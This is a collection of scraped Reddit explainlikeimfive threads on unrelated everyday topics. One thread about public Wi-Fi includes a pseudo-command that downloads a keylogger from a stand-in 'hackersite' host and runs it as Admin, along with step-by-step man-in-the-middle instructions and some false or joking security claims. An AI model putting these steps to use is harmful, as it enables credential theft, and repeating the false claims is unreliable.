"It comes from the Spanish word bobo, which basically means stupid or gullible. That word entered English as booby, and it's also how the genus of birds were named.\n\nA \"booby trap\" is therefore something meant to be accidentally activated by a stupid or clumsy person. Originally it was like a childish prank, but during World War I it came into its modern meaning."
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6h0i9k | why is there no effort or desire to bring dinasours back to life by cloning their dnas? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/6h0i9k/eli5_why_is_there_no_effort_or_desire_to_bring/ | {
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"Because we don't have their DNA, unless you count modern birds, which we don't generally need to clone because we can just go outside and watch them. \n\nDNA isn't immortal, it breaks down.",
"Because, despite what Dr. Wu would tell you, it can't be done.\n\nThe half life of DNA is about [521 years](_URL_0_) when extracted from bone. This is problematic when you are trying to recreate an animal that lived 65 million years ago. \n\nFTA:\n\n > Based on their calculations, the team predicted that even under perfect conditions for DNA preservation, it would take a maximum of 6.8 million years for every bond to be destroyed. And even before that time—after around 1.5 million years—the remaining strands of DNA would be too short to be readable. So a dinosaur bone, which would be at least 65 million years old, could never yield useable genetic information.",
"Have you even watched Jurassic Park? ",
"Not to mention that an animal that used to live 6.5 million years ago would die pretty quickly and easily today, what with the climate changes, oxygen levels and pollution levels we have nowadays, AND the bacteria and microbes."
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3t19ht | why do we still value gold so high even though our monetary system is no longer backed by it? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/3t19ht/eli5why_do_we_still_value_gold_so_high_even/ | {
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"Gold is still highly valued for its use with electrical currents, as well as various types of data transferring cables, such as HDMI. We may not use it for money anymore, but it still has plenty of valuable uses.",
"In rough order of importance:\n\n* It is *very* rare. Even something not terribly useful is expensive if there isn't much of it.\n\n* It has many applications in electronics and chemistry\n\n* It's very shiny and we like it"
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2bjnpy | why do people who smell really bad not realize they smell really bad? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/2bjnpy/eli5_why_do_people_who_smell_really_bad_not/ | {
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"It has to do with the anatomy of your nose. There are scent receptors in your nose that can get saturated when being exposed to the same smell over and over again through a period of time. Its essentially the same thing that happens when you first spray perfume on your self, you can sense it for a while but then you don't smell it anymore but others can smell it on you. Same with BO only very unpleasant. Also the reason why some people reek of perfume, they keep reapplying when they really don't have to. "
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1y6eeq | what is the logic behind a aaa video game title being an exclusive? | Why would a big budget, big appeal video game like Titanfall choose to completely eradicate the business of half their target market? I understand that there must be a certain amount of monetary motivation but why would they prefer this to possibly more than double the amount of sales? Also, is there any chance that Titanfall could be extended to platforms outside of Microsoft? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1y6eeq/eli5_what_is_the_logic_behind_a_aaa_video_game/ | {
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"Generally speaking when you talk about a console exclusive, the console in question paid a lot of money for the exclusivity. [1]\n\nWhen you talk about 'PC' exclusivity, its often because the developer likely didn't want to pay the MASSIVE licensing fees for console SDK's. \n\n\n[1] When I say pay, I mean pay in a general sense. Sometimes for a console exclusive the developer doesn't just get a fat check. Sometimes the money is given as a 'lower' percentage of the game license. For example XBOX may only get 5% instead of 7% of every game's sale. Or the SDK fee's maybe waved also on top of that. \n\nA lot of it is all legal and financial maneuvering to make the game cheaper for the publisher to publish, and lower the risk a publisher takes in investing in a game.\n"
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4e6w7z | why are satellites wrapped in golden coloured paper days before the launch? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/4e6w7z/eli5_why_are_satellites_wrapped_in_golden/ | {
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"It's not paper, it's gold foil or sometimes a polymer called Kapton. It's mainly used as a thermal shield. Kapton is also an electrical insulator.\n",
"It is foil made of gold, used to reflect radiation which comes from the sun, as it can have adverse effects. IIRC, it primarily reflects infrared radiation.",
"_URL_0_\n\nAs others have said, it's an orange plastic film coated with aluminum. It functions as insulation. Heat is gained or lost through three mechanisms - conduction, convection, and radiation. In space only one of these mechanisms applies - radiation. (Meaning that hot objects cool down by radiating infrared light.) The shiny, mirrored surface reflects sunlight away, preventing overheating on the sunny side. It also reflects IR light radiated by the spacecraft back toward itself to keep the dark side cold. Without this insulation, objects in full sunlight become very hot and objects in shadow become very cold. Rotating objects swing wildly up and down in temperature. Since heating causes materials to expand, and cooling causes them to contract, this would cause huge amounts of stress on almost every component of the spacecraft as it changed shape over and over. \n\nBeyond this, conductive materials block beta rays (which are loose electrons flying through space). \n\nLastly this can help protect against high speed dust particles by breaking up the dust particle a short distance away from the actual spacecraft hardware. This means that the force of the impactor will be spread out over a larger area, decreasing its potential for damage. "
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4kr4hg | why do car dealers and manufacturers advertise so much for a product that the average person buys extremely infrequently? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/4kr4hg/eli5_why_do_car_dealers_and_manufacturers/ | {
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"It is about brand awareness. If something like Acme Chevy/Cadillac becomes ingrained in your mind, it will be the first thing you think of when you say \"fuck, this beater keeps breaking down, I should finally spring for a new car\". That dealership is more likely to get your business as it is a familiar name.\n\nMost car commercials aren't going to make you go out and buy a car either, but by making Chevy a household name you are more likely to buy one. Also some things that are memorable can influence your purchasing, like if you remember that it is the car that was pulling a spaceshuttle, that could make you think that it is better than the competition in the future.",
"When selling a big ticket item, like cars, where you're not going to be having frequent repeat customers, it's about two things: volume and brand loyalty. Anybody on any given day may be in the market for a new car. It's the job of the advertising to ensure you buy THAT car.",
"The average person buys it infrequently, yes, but there are a few million average buyers every year. "
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5rfiqo | the feeling of impending doom and usually something does happen. | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/5rfiqo/eli5_the_feeling_of_impending_doom_and_usually/ | {
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"Well, for starters you're more likely to remember the times when you woke up with a sense of impending doom, and then something bad happens. You probably won't remember the times when you woke up with a sense of doom and nothing that bad happened.\n\nSecondly, that kind of thinking probably reinforces itself. If you think that your feelings of doom are predictors of bad things happening, you'll be looking for stuff that fits. If I wake up with a sense of impending doom and then lose my car keys, I'll connect the two. What's actually happened though is that I've just connected the first bad thing to happen since the feeling of impending doom to that feeling.\n\nThirdly, it's possible that you subconsciously know that you've forgotten to do something, or not done something properly and that is causing the feeling of impending doom. When that bad thing happens as a result of what you've not done or have done then you connect the two."
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fmjmmv | when you reset the wi-fi router, why does it take so long to turn on? what happens during that time? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/fmjmmv/eli5_when_you_reset_the_wifi_router_why_does_it/ | {
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"One point that people here are missing, is that most routers have a boot wait period.\n\nAt poweron the thing waits anywhere between 1 - 20 seconds, doing nothing, to see if you're trying to debug or update the firmware.",
"Your router is waking up like a nonmorning person- its hair is a mess and it's slow to get moving. So it needs to go to the mirror and see that its hair is a mess then take the time to fix it. Once its hair is fixed and teeth are brushed, it goes out and says goodmorning to the family- Mama Modem and Daddy Desktop, along with any other siblings it may have. Mama has prepared breakfast as always and its your router's job to set the table and pass out the food to everyone. And as much as we all wish food instantaneously appeared on everyone's plates, it takes a little time. \n\n. \nRouters have several components, both hardware and software (physical parts and programs). Your router will check itself for issues when you turn it on. You can watch this process with the right tools! Once the check is passed, it pings the things that its connected to, such as your modem and computer, and tries to connect to them, looking to take internet from the modem and give it to anything else plugged in (such as computer, gaming consoles, etc).",
"Answer: Routers are small specialized computers, just like computers they have to perform test to ensure the hardware is good. They will then boot up the operating system and find your last configurations and boot them too. For this reason is why they take a bit of time to boot up.",
"Most people in this thread seem to think that just because a router is a \"mini-computer\" it obviously means that all answers to all problems has to be technical in nature - not so.\n\nA router is a product - it was produced in a competitive environment. Someone said \"this is what we need\", then someone else said \"do we really need all that?\" and then a minimal specification was created which internal and external parties competed on \"who can make it cheapest?\" (How formal or organic the process is differs but it's still the same.)\n\nLow boot-time was not an important part of the specification, probably not even considered at all, and as such suffered because there was no need for it and it would've cost more to make it faster - maybe not a lot more, but more is still more.",
"The router is a small computer. It‘s task is to negotiate all the information that is sent through your network. That requires some specific tasks that are carried out by different modules. And those power up in a specific sequence. Between those steps, there are also set timers, to make sure one step is finished before the other starts.",
"It's a computer - it's booting up.\n\nAnd unlike your cell phone or desktop computer, where starting up fast is important, a wireless router isn't intended to be restarted very often so starting up fast isn't important.\n\nWhen they design wireless routers they're more concerned about making it reliable - so you can sit it on a shelf and have it run six months at a time without any issues.",
"WiFi routers contain a simplistic operating system, many of them based on a special stripped down version of Linux. The OS has to boot, load internal drivers, activate all devices, start a DHCP host service, start an web host service (this allows you to configure the router), initialize wifi, issue IP addresses, and gather information about the clients connected to it. Sorry I can't eli5 unless the 5 year old has some computer and network experience but that's a fairly simple rundown.",
"The big ELI5 is that a router is designed to stay on for a long, long time so optimizing the time it takes to start up isn't so important",
"Routers are mini-computers that also can send and receive wifi.\n\nThe router has to turn on and boot up, just like any other computer.",
"The router itself is basically a mini computer. Just like the computer you use, it has a CPU, memory, storage, an operating system (the \"firmware\"), etc. All of these are of course specialized for its job of handling network traffic.\n\nAnd just like your computer, it needs time to start up after it's been turned off. During that time it does the same sorts of things your computer does when it boots - initializing its hardware, loading the operating system, and launching various software components that allow it to do its job.\n\nThe hardware on routers is usually quite weak, since they only need to be good enough to perform the one job they are designed for. They run much slower than your computer. So, even though a router is a comparatively simpler device, it may take longer to start up than your computer.",
"Your router has several hardware components.\n\n* Integrated switch (physical network connections)\n* Wireless RF circuitry for sending and receiving data\n* Processor and routing software to handle data-link stuff\n* NVRAM - non-volatile memory - stores configuration information and system software\n* RAM - stores currently running configuration and copy of system software\n\nThe router will run a self-test on its hardware when starting up. During this period, it will give out fault codes and other diagnostic information if the system has internal data corruption or other hardware errors. This takes up time. Fun fact - you can actually connect a serial line directly to the board on most routers and observe this in a console.\n\nSo the memory copy rates aren't all that fast when a router boots up either. This is why, for instance, it still takes a good minute or two to update the firmware after you have downloaded it. After boot, It will copy your firmware / operating system and configuration from NVRAM to RAM. This takes up a good deal of time.\n\nOnce the hardware tests are passed and the router's software is loaded up, each piece of hardware gets \"initialized\". This is the part where the router looks at your connected devices and establishes connections. Things that are wired into the switch (such as a modem or gateway), checking the current bands and selecting the least congested one, and bringing any other software on the router up (such as a VPN service).\n\nThere is a lot more going on under the hood than listed here, but this is ELI5 after all.\n\nEDITS: Just fixed a couple typos. I also see lots of people making a valid point that this isn't \"ELI5\". Also that a router is \"just a small computer\". The thing is, it isn't just like a small desktop/laptop. It has very specific hardware and software that accomplishes a very specific set of tasks. Unfortunately, this question can't really be meaningfully answered in the framework of ELI5. A 5 year old would just have to accept that it needs time to start everything up and get everything talking to each other.",
"When the router comes on it has to contact many government agencies to make sure it's okay that you have the internet back and that they are still able to listen and record everything you are doing on the internet.",
"I can answer this, because I work with routers.\n\nTurning a router on and off is similar to turning a light on and off a light build. It should turn on instantaneously. Which it does.\n\nBut for a router to work, it needs to run programs or software that communicates back to a station. That software is what's causing the router from working straight away. It will send out a command which identifies itself to a station, wait until the station respond, then proceed to continue run everything else which can take some time for the router to process.\n\nBoot up time is also depended on it's hardware. So faster chip means faster computation that process the software quicker.",
"Just one thing I'd like to add to all the (otherwise great!) answers: the \"WiFi router\" you're talking about is probably a 4-in-1 device: it's a WiFi *access point* (sends out and receives the WiFi signals, obviously); most often also a *switch* interconnecting several Ethernet ports and the WiFi access point; a *router*, which decides whether to send a packet from your ISP to your WiFi and vice-versa; ans finally, most crucially, a modem which allows it to connect to your ISP. Now in most cases, the slow part is just that last one: access points, switches and (to a lesser extent) routers are often rather simple devices that boot up quite quickly. A modem however, needs to make a connection over miles and miles of cabling, authenticate that connection with your ISP etc. It's quite a bit more specialised, hence why it all takes a bit longer."
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28czf9 | if i'm using a public wi-fi hotspot, how much of my personal information can be grabbed by a third party and how would they do this? | Follow-up question: best ways to protect myself against this? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/28czf9/eli5_if_im_using_a_public_wifi_hotspot_how_much/ | {
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"A beginner could do some things with [dSploit](_URL_0_).\nSome more complex things involve a laptop and an OS as Backtrack etc.\n\nBest way to protect yourself against this? Don't use public wi-fi.",
"ELI5 Version! \n \nYou want to know something from a person across the room. You shout to them, and they shout the answer back. Someone in the middle could write down all the stuff each of you are shouting. \n \nHow much can be grabbed? Anything you type, or anything the site knows about you. \n \nHow to protect yourself? \n \n1.) Don't use public WiFi (Not always an option) \n2.) Make sure the website you're browsing has \"http**s**\" at the start. \n \nEg: Instead of browsing to _URL_7_, browse to http**s**://_URL_4_ \n \nMost decent sites will have the \"s\" there by default (Facebook, GMail, Etc) whilst all other sites actually should, but are lazy, or cheap, or both :) \n \nIn many cases, you can add the \"https\" yourself, and hope the site has safety enabled (Eg: You can go to http**s**://_URL_5_, but not http**s**://_URL_6_ ) whilst some sites won't let you go to the \"unsafe\" version (Eg: If you go to _URL_1_ it will automatically send you to http**s**://_URL_8_ )\n \nNote: The \"pay\" from the Reddit link is specific to Reddit. I personally don't know why you just can't browse to http**s**://_URL_7_/ without warning signs all over the place... \n \nFun Fact: You can get addons like [this](_URL_0_) for Chrome that will try and force every website to use the secure version, and won't let you go to the unsafe version if there is a safe alternative (Eg: With that addon enabled you won't be able to browse to _URL_2_ as it will always send you to http**s**://_URL_3_ which is far safer) \n \n**IMPORTANT NOTE**: If you're browsing something that asks for Credit Card details and the \"S\" is NOT there, DO NOT ENTER THEM! \n \n**IMPORTANT NOTE 2**: The \"s\" does not guarantee safety in the same way a lock on your front door does not guarantee no-one will break in. It simply increases the chance that you are secure. When in doubt, browse from your home internet.",
"All information that is sent over the network will be up for grabs. You can protect yourself by encrypting the traffic. This could be done by using a VPN service, such as Anonine. This will ensure that your data is secure from anyone between you and your VPN provider, assuming your provider isn't doing something very wrong (or the attacker has access to zero day exploits against the protocol you are using, but this shouldn't be a concern unless you think the NSA is targeting you, and probably not even then).\n\nUsing SSL (adresses starting with https) will offer some protection, but there are known vulnerabilities that a cunning attackar could utilize, especially if they have mounted a man-in-the-middle attack (that is to say, they are pretending to be the hotspot, and are thus able to inject whatever data they want into the stream). The security of the SSL protocol is ultimately dependant on the skills of the administrators behind the site you are viewing, and history shows that even huge corporations that really should know better can screw up big time.",
"What about logging into a bank account website to check balances while staying at a hotel and using their WiFi? Does the https make this safe? Obviously not an ideal situation, but honestly how risky is it? ",
"A lot. If the webpage does not say HTTPS I can see everything you transmit or receive.\n\nImagine this, you have a guy serving information to 10 people in a room. He serves the data by yelling \"James, you have $100 in your bank account\". \n\nJames is a computer and his real name is actually an IP address 192.168.1.2 and now James knows that it needs to tell you the balance of your account.\n\nMarissa is another computer on the same network and as soon as the server says \"James,...\" then Marissa knows that the following information does not apply to her.\n\nIt takes a little bit of doing but I can setup a computer to receive all data instead of whats intended for me. What I have done in the past is used a program to display all pictures that go across the network. This is fun because there is always some creep sitting at Panera looking at NSFW stuff.\n\n**If it says HTTPS you are as safe as possible on a public hotspot**",
"All your datas belong to us! A non-encrypted WiFi signal is basically as secure as passing unfolded notes 'telephone-style' across a room.. Assuming you're adept in the language, feel free to read your fill. Much of this traffic is sent in the 'cleartext' meaning... read it like a book.\n\nLike some others here stated, HTTPS traffic is secured via encryption, which is better than nothing at all.. But not an absolute.\n\nLike they taught you in grade school, abstinence is the best protection. However, if you can't help yourself but to feast on the tasty bits of the inter-webs, protect yourself. No, a trash bag isn't going to help. \n\nAccess the web from a secure portal, this is probably not the local public WiFi spot. \n\nIf you feel like avoiding public WiFi is too much of a hassle, consider a personal VPN to your home network. This is essentially tunneling your data through an encrypted path from your device to your homes network, and finally on to the server you want to talk with from a known-to-be-scure access point. You can do this relatively easily, and a quick google search will be pretty informative on the subject. Lifehacker did a bit on this, check it out here: _URL_0_\n\nTL;DR? Setup a VPN so your nasty fetish pron habits stay... well.. yours. For this, you have google. Go.\n",
"Packet sniffing. To safely use public wifi use a VPN.",
"Any computer on the network can monitor *all* traffic on the network with a simple [arp spoof](_URL_1_). Its a [Man In The Middle Attack](_URL_0_) where you convince the entire network that you are the router. And then any data that isnt encrypted, like with SSL, is just entirely visible. If you log into facebook without using its (admittedly default) secure login page, the info \"Username: alexborowski Password:WhateverYourPasswordIs\" will show up in a feed in the program im using. I can even edit your DNS requests and send you to fake facebook pages. \n\nAlways use HTTPS when sending any secure information, or you're susceptible to monitoring by anyone on the network",
"Simple answer: All of it. They do this with a \"man in the middle\" attack. \n\n\nThey basically stand between you and the access point (router) and as your information passes through them to get to the router, they will copy all of your data. ",
"Let me see if I can explain this in english rather than nerd-speak.\n\nThink of your laptop talking to the internet like a conversation you're having in the coffee-shop.. If you talk loud enough, the people sitting in the tables around you can hear and understand everything you're saying to your friend. If you sat there and gave your friend your phone number, or your password, everyone else in the coffee shop is gonna hear that. Some may even write it down.\n\nTo combat this, you could use a foreign language that nobody else in the coffee shop understands, they might be able to hear you, but they won't be able to understand you. Problem solved. (As long as you know that nobody else speaks that language, of course).\n\nA public WiFi hotspot is just like the loud conversation that happens in english. Literally anyone else in the coffee shop with their own laptop can \"listen in\" on what you are sending and receiving to/from the internet. A private / protected hotspot is like speaking a foreign language -- in that everyone can hear what you're saying, but they won't understand (it's encrypted)... So even through they can HEAR everything you're saying, it's no good to them.\n\nSo the safest rule of thumb (for folks who don't understand the nuances of HTTP versus HTTPS) is to assume that everything you send or receive from a public WiFi hotspot is potentially up for grabs. So if you go to your favorite website and enter your username and password -- you can assume that was captured. If you go to a new website and sign up for an account, you can assume they now have your name, address, phone number, and mother's maiden name.... You get the idea. You submitted it to a website over the clear, so someone could possibly see it. (Same thing happens in reverse.. anything being sent to your computer from the internet is visible too). Same problem applies to emails, downloads, etc.. it's ALL visible.\n\nThe exception to all of this is \"HTTP\" versus \"HTTPS\" websites... banks, e-commerce sites, etc.. all use their own version of encryption... which means anything sent from your laptop to those encrypted websites is protected, no matter what. (As others here have tried to explain, that's what your browser is trying to tell you when you visit secure websites).\n\nNote that sitting on an open public WiFi network does not (generally) mean they can hack into your computer and steal stuff you have saved there. In order for it to be \"visible\" to the random Joe sitting observing everything, it needs to be sent or received while you're sitting there. Exceptions to this are if you haven't applied the updates to your computer on time, and other such things... but that's a different discussion.\n",
"As mentioned, they can see pretty much anything. Anyone on that network can. [Here's](_URL_0_) one of the ways to do it. You can actually reroute all traffic to your system and real time monitor it. \n\nIf you want protection you can use https as mentioned, but whoever is monitoring can still see what sites you're on, just not the information in them. I use [HTTPS Everywhere](_URL_1_). \n\nIf you want real protection, then you use a VPN. This encrypts all traffic between you and an outside router. Whoever is monitoring can see a connection but cannot see what you are doing. You can use this to also bypass Netflix hindrance by your ISP. ",
"If you have to use public wifi use a VPN. ",
"I'm going to leave [this](_URL_0_) here which should bring you up to speed. \n\nBut basically if you MUST use a public wi-fi hotspot, you will want to encrypt your data using a [VPN](_URL_1_), which will encrypt all your internet traffic. This will significantly if not completely eliminate the ability for someone to peek at your activity. ",
"I would never use my credit card via a hotspot, or sign into my bank account or anything.\n\nIs there still a risk of them being able to get any of my info somehow?",
"Can somebody answer my question? My ISP blocks certain websites, however, if that website has a secure (https) version, then I can always get into the blocked site using it. Why is that? Is it so secure that the ISP doesn't know which website i'm accessing? If they don't, how can they serve me the site? Can't they like block both http and https versions of these sites? Answers don't have to be ELI5.",
"Run a live version of [Tails](_URL_0_).\n\nIt by default encrypts everything possible, and once you power down, there are only seconds to minutes that the RAM is readable.\n\nAmateur hackers often sit at wifi spots \"sniffing\" data. It requires a lot more to do this through Tails.\n\nA lot of people are suggesting \"VPN VPN!\" or \"HTTPS HTTPS!\". Do you know how easy it is for someone with a basic understanding of Metasploit and 0days to sidestep this? \n\nBOOM cmd shell, BOOM admin credentials, ftp get ftp://hackersite/tools/keylogger.exe\nC:\\keylogger.exe RUNAS Admin. Pseudo code and execution, but principle is there.\n\nNow everything you enter into your VPN login credentials, and bank site, is logged.\n\n",
"I work for the city I live in, and connect to their wifi while I'm working. I have to accept their terms before connecting. Can they find out how often I'm browsing....uhh...../r/aww? Or do they just see a random user accessing it? How much risk do I run? I use Reddit is Fun app if that matters.",
"It depends on the router and firewall you have setup. Some routers have VLANS where you (the wireless user) are on your own personal network which separates yourself from everyone else. ",
"A related question; how illegal is it to grab this information from from a public wifi hotspot? Or is it the situation where a user is responsible for their own privacy?",
"Interesting you should ask this just a couple days after this CNN report. [Stalker: A creepy look at you, online](_URL_0_)",
"What can I get ? \n\nEverything.\n\nHow do you protect yourself ? \n\nDon't use a public wifi hotspot.",
"Conveniently, Ars Technica and NPR just did an article on this topic! _URL_0_\n\n**TLDR** Be afraid. Even when using HTTPS.",
"Think of a public wifi network like a home phone line with lots of phones around the house. While you are on the phone with your grandma anyone else in the house can pick up a phone and listen in. If you are talking in encrypted messages (HTTPS) your conversation just appears to be nonsense. But if you are talking in plain text (HTTP) I can hear and understand everything you are saying.\n\nI recommend that you never use public wifi. HTTPS is a decent solution but there are lots of ways for an attacker to trick you. They can redirect you to unsecured versions of sites or redirect you to spoof sites that have the same user interface (but different URL). Unless you are diligently looking at the URL relying on HTTPS is not a great solution. And then even if you are 100% certain the site is encrypted that just means the traffic between you and the server is encrypted. It doesn't mean I can't monitor and save everything you've done. There is an OpenSSL exploit it seems every other day so I would not consider HTTPS to be guaranteed security by any stretch.\n\nAbout the best way I can think of to secure yourself on public wifi would be to connect to a VPN and also practice HTTPS diligence.\n\nAs for how much information can be grabbed that is really up to what you do on the internet. If you sit there doing nothing you aren't providing anything to steal. As soon as you start browsing that information can be intercepted.\n\nHow is this possible? Lots of ways. Packet sniffers, server spoofing, network analyzers, etc. There are lots of Linux distros with hacking tools built in. Basically someone sits between you and the site you are accessing and records every bit of information flowing between you and the website server. The goal is to get that information unencrypted.",
"All of your data that you send over web pages is vulnerable over public WiFi. Hackers use something called a packet sniffer to intercept the packets of data you send as queries to a server. I could get your banking information, all of your social networks, basically anything that you have to log in to, I can get. \n\nThe solution is to not use public wifi if you don't have to. But if you do, don't even log in to anything financial related. Once you learn how to inject a users login tokens into a cookie it's GG. ",
"Came here for a yes or no..",
"The safe bet: Everything you do, everything you type into a web page, anything you interact with **will be** intercepted by someone else.\n\nThe more realistic bet: Any website not using https, or any application not transferring data over an encrypted connection **could be** intercepted by someone else.\n\nThe actually realistic bet: No one cares about what you're doing at Starbucks on your laptop, so don't worry about it.\n\n\nGross oversimplifications aside, the amount of security you use should scale with the importance/confidentiality of the data you're dealing with. If you're google-ing something unimportant, it really doesn't matter. If you're checking your work email, make sure your connection is encrypted. If you're checking your online banking, I would use a VPN tunnel to be safe. If you have to send your SSN to your future employer (don't use public Wi-Fi, but if you must), you should probably be encrypting the data on your end, and using a VPN or at the very least a secure connection. If you're dealing with other people's SSN's, (DON'T FUCKING USE A GODDAMN COFFEE SHOP WI-FI, but...again, if you must), you better be using tails on a fully encrypted laptop encrypting everything with 256-AES encryption sending it over a VPN tunnel through TOR and in and out of the pope's asshole, cause someone's going to steal it.",
"There used to be an app called Firesheep - a Firefox extension actually that would let you browse people's un-encrypted requests. Basically every request made that was broadcast to the router would be picked up and listed as a link for you to click on and submit the same request with the same data to that website. \n\nI never really got it to work though. I tried once. Don't know if its still a thing.",
"Network Security guy here.\n\nSo when you use wifi, it's like your computer is talking to a waiter/server (shitty pun intended). Your hungry person (computer) walks up to a hostess (Wireless Access Point). \"Yes I would like a table (connection) please\". \"Okay, Do you have a reservation (password/username).\" Some restaurants (connections) don't require you to have a reservation (password/username), but that means that restaurant can have some sketchy ass people. That being said, this makes what your're doing kinda secret from bad guys (WPA,WEP). But bad guys can still guess or figure out who's on the list to get in (password cracks, brute force hacks). And he can sit there and pretend it's totally cool.\n\nNow that you have a table:\n\n\"Hello my name is netgear (mac address/IP address) I'll be you waiter today, how can I help you?\", \"Yes, my name is Dell (mac address /IP address), I would like some facebook please.\" \"Sure I'll be right back!\" Once your connection is oriented you can make request to get information, which get sent over the internet (since this is incredibly complex were just gonna say it's the cook). \"Here is your facebook computer, anything else I can get you?\"\n\nNow where is the bad guys? Well using public wifi, which is unencrypted (no WPA, or WEP) a bad guy can just sit in the restaurant and watch you eat. Take all that stuff he learned from you back home and pretend he's you. Sounds creepy right? It is. These guys can sit in a Starbucks and collect data with super simple software like Wireshark and get gigs of personal data. Facebook is https (S for secure) right? Yes, which makes it nearly impossible to break. NEARLY. if a hacker wants to know something, all they need is time. I mean look at the heartbleed, right? (not even gonna get into that now)\n\nNow check this out!\n\nBad guy is sitting in the restaurant and sees someone he knows regularly comes in and has information he wants. So he pretends he's a waiter and tricks you and everyone else. \"How can I help you\", \"Yes I'd like to see my bank account please.\" \"Sure, I'll be right back!\" The bad guy never actually goes to the cook (Internet) or maybe goes to his own 'cook' and comes back with something that looks just like your bank account. \"This requires your password, username, and pin number, Mr. Computer.\" You see where I'm going right?\n\nBe weary doing any super important stuff through a public hot-spot. It's like the wild west out there. Hackers know when there's a will, there's a way. If they want you bad enough, they can target you, and they can definitely get what they want. And the best ones won't even show they were there. ",
"One of my best friends is a hacker. Works for an IT company. I'm here to tell you that HTTPS doesn't do shit. Cracking a HTTPS protocol is hacking 101. If you really want to be safe on public wifi, get a paid VPN. \n\nHere is a good one, I use this one personally, and it's the only way to truly ensure that your data is kept private and safe. \n\n_URL_0_",
"1) Get an rooted android phone \n2) Get an app called gsploit \n3) Connect to public wifi \n4) Open gslpoit \n5) Click \"Man in the middle attacks\" This is when you route traffic through your phone and can mess with people \n6) Click the attack you want, you can sniff passwords, change what pictures appear on people phones, redirect all traffic to a certain website, or kick people off the wifi ",
"I'd really advise against doing anything requiring personal information on public wifi. If someone is dedicated enough, especially on a shared network, nothing sent over the network is safe.\n\nThe chances are low, but still...",
"All you need to do is watch for the explanation. \n\n\nAll The Ways To Hack Your Phone: Phreaked Out (Episode 3)\n\n_URL_0_",
"Whatever you choose to send anywhere while using the network, assuming its unencrypted. If you aren't using a vpn, and the websites you on aren't using https, then chances are it can be picked up by anyone that knows how to use a program like wireshark.",
"assuming the wifi hotspot is open with no password:\n\n1. If the site/app you're using uses http only in the url (even for login) everything you pass and receive can be easily captured with a program on a phone or computer. \n\n2. if the site/app uses https in the url for the login but not for the actual pages your login and password are reasonably well protected, but all other communication is able to be captured. \n\n3. If the site/app uses https for all traffic you're reasonable well protected. There are intricate attacks with varying levels of success that can be used but not something that your average script kiddie is going to pull off without you getting alerts that sites aren't secure. Though anyone can still see where you're going and how often by sniffing your DNS calls.\n\n4. If a professional really wants to see exactly what you're doing there are ways to misdirect traffic, falsify certs, break weak encryption that all have varying levels of transparency. Even protected wifi isn't 100% safe. \n\nThe TL;DR not ELI5 is use https when you can, vpn, ssh tunneling and don't piss off any 3 letter agencies. "
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8azdi9 | why does it seem to me that razors purposed for females are way duller than those for men? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/8azdi9/eli5_why_does_it_seem_to_me_that_razors_purposed/ | {
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"_URL_0_\n\nAccording to this article, the shave angle is different between male and female marketed razors, so maybe that has an influence on it (They said the metallurgy should be the same)."
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2vrz8f | does air separate into n2 / o2/ ar if left undisturbed, "closed" system? | Air is 79% N2/ 20% O2/ 1 % Ar. The molecular weight of N2 = 28, O2 = 32, Ar = 39.
Does air - assuming left in a confined area with no temperature / pressure / elevation to 'move' the air - 'settle out' into each component? I am thinking how water and oil will settle out based on their specific gravity, does air do this?
For example, if there was an old subway tunnel (horizontal, uniform temperature, closed on all ends) left abandon for 100 years, would someone open it to find the elements 'layered'? if not, why? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/2vrz8f/eli5_does_air_separate_into_n2_o2_ar_if_left/ | {
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"Mostly no. Because of their different masses, nitrogen, oxygen, argon, and carbon dioxide molecules do indeed feel different downward forces due to gravity. But their agitation due to simple thermal motion, even in a closed system with no wind or convection, is strong enough to *mostly* cancel out the gravitational layering effect and keep these gases mixed. However, on very large scales, there *is* a partial settling out of these molecules into different layers despite their thermal motion. This effect is partially what causes the layering of different types of gas high in earth's atmosphere. But on the human scale, simple thermal motion is enough to keep these gases almost perfectly mixed. So no, a hole or abandoned subway tunnel will not accumulate carbon dioxide from the natural atmosphere (of course, if a C02 tank is leaking into a hole or tunnel, it can accumulate there).\n\nIf you take away some of the thermal agitation (e.g. lower the temperature), the mixing of air decreases and the degree of settling out becomes greater."
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dnlhp0 | in flavours, what exactly is umani? and i'm what foods is it most present? | I can never seem to get an answer. | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/dnlhp0/eli5_in_flavours_what_exactly_is_umani_and_im/ | {
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"Umami or savory, is found in foods like mushrooms, soy sauce, tomato, and most fish. It's a flavor that isn't salty, sweet, sour, or bitter.",
"Do you mean umami? Umami is more like a richness of flavour (usually, or maybe always, savoury). Tomatoes are often described as having it - if you’re looking for a single ingredient food item. From what I understand, MSG is something that provides or enriches umami. I hope this helps, I know it’s not a great explanation.",
"This is simplifying it all a lot, but:\n\nSalty is salt\n\nSweet is Sugar\n\nSour is Acids\n\nBitter is Alkaloids (bases)\n\nUmami is Glutamate (proteins)\n\nSome things don't exactly match, but this is a general layout.",
"Umami is actually classified as a type of taste we can perceive, along with salt, sweet etc. It was first classified by a Japanese scientist, and the scientific community didn't believe him at first, but evidence slowly started emerging.\n\nUmami 'flavour' is due to our taste buds, which have taste receptors on them, detecting the presence of Glutamate. Once detected, tastebuds send a nerve signal to our brain where our brain perceives it as 'umami'. Glutamate is present in meaty foods and interestingly that's what MSG is used for (monosodium Glutamate).",
"Umami is produced by glutamate ions, which are salts of glutamic acid, an Amino acid found in almost all proteins. This produces a savory, \"meaty\" flavor. You can form the compound by reacting glutamic acid with a strong base such as sodium hydroxide, producing monosodium glutamate.\n\nMost foods contain glutamate, and it's an important component of the flavor of most foods. Notably examples include bread, cooked meat and vegetables, red wine, mushrooms, and cheeses.",
"Chef here. Basically Umami is an inherent savoriness found in foods like parmesan, meat, broths etc. Its not really an \"earthy\" flavor but one of the five component of taste."
